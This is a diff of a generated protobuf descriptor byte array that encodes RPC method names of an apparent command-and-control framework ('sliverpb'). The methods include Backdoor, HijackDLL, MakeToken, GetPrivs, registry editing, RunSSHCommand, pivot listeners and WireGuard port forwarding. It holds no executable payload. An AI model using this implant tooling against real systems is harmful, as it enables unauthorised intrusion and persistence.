-	0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c,
-	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e,
-	0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69,
-	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73,
-	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12,
-	0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
-	0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10,
-	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76,
-	0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73,
-	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76,
-	0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55,
-	0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64,
-	0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42,
-	0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69,
-	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41,
-	0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19,
+	0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74,
+	0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69,
+	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b,
+	0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69,
+	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b,
+	0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74,
+	0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e,
+	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74,
+	0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17,
+	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c,
+	0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74,
+	0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73,
+	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f,
+	0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63,
+	0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a,
+	0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73,
+	0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+	0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73,
+	0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50,
+	0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a,
+	0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
+	0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63,
+	0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61,
+	0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69,
+	0x63, 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74,
+	0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e,
+	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
+	0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76,
+	0x69, 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
+	0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e,
+	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
+	0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65,
+	0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65,
+	0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72,
+	0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65,
+	0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e,
+	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b,
+	0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73,
+	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11,
+	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66,
+	0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71,
+	0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45,
+	0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15,
+	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45,
+	0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63,
+	0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73,
+	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72,
+	0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64,
+	0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
+	0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52,
+	0x65, 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57,
+	0x72, 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+	0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71,
+	0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
+	0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67,
+	0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e,
 	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
-	0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76,
-	0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61,
-	0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69,
-	0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
-	0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17,
+	0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b,
 	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
-	0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73,
-	0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73,
-	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
-	0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73,
-	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
-	0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67,
-	0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e,
-	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
-	0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b,
-	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
-	0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52,
-	0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65,
-	0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
-	0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74,
-	0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
-	0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73,
-	0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73,
-	0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56,
-	0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
-	0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75,
-	0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48,
-	0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71,
-	0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43,
-	0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b,
-	0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44,
-	0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c,
-	0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b,
-	0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73,
-	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73,
-	0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47,
-	0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53,
-	0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
-	0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e,
-	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73,
-	0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73,
-	0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
-	0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63,
-	0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a,
-	0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69,
-	0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
-	0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52,
-	0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
-	0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12,
-	0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
-	0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c,
-	0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73,
-	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65,
-	0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74,
-	0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
-	0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
-	0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x4e,
-	0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
-	0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
-	0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61,
-	0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
-	0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c,
-	0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77,
-	0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
-	0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70,
-	0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
-	0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c,
-	0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73,
-	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53,
-	0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47,
-	0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76,
-	0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70,
-	0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
-	0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74,
-	0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69,
+	0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52,
+	0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79,
+	0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
+	0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71,
+	0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
+	0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a,
+	0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62,
+	0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+	0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69,
+	0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c,
+	0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c,
+	0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+	0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73,
+	0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69,
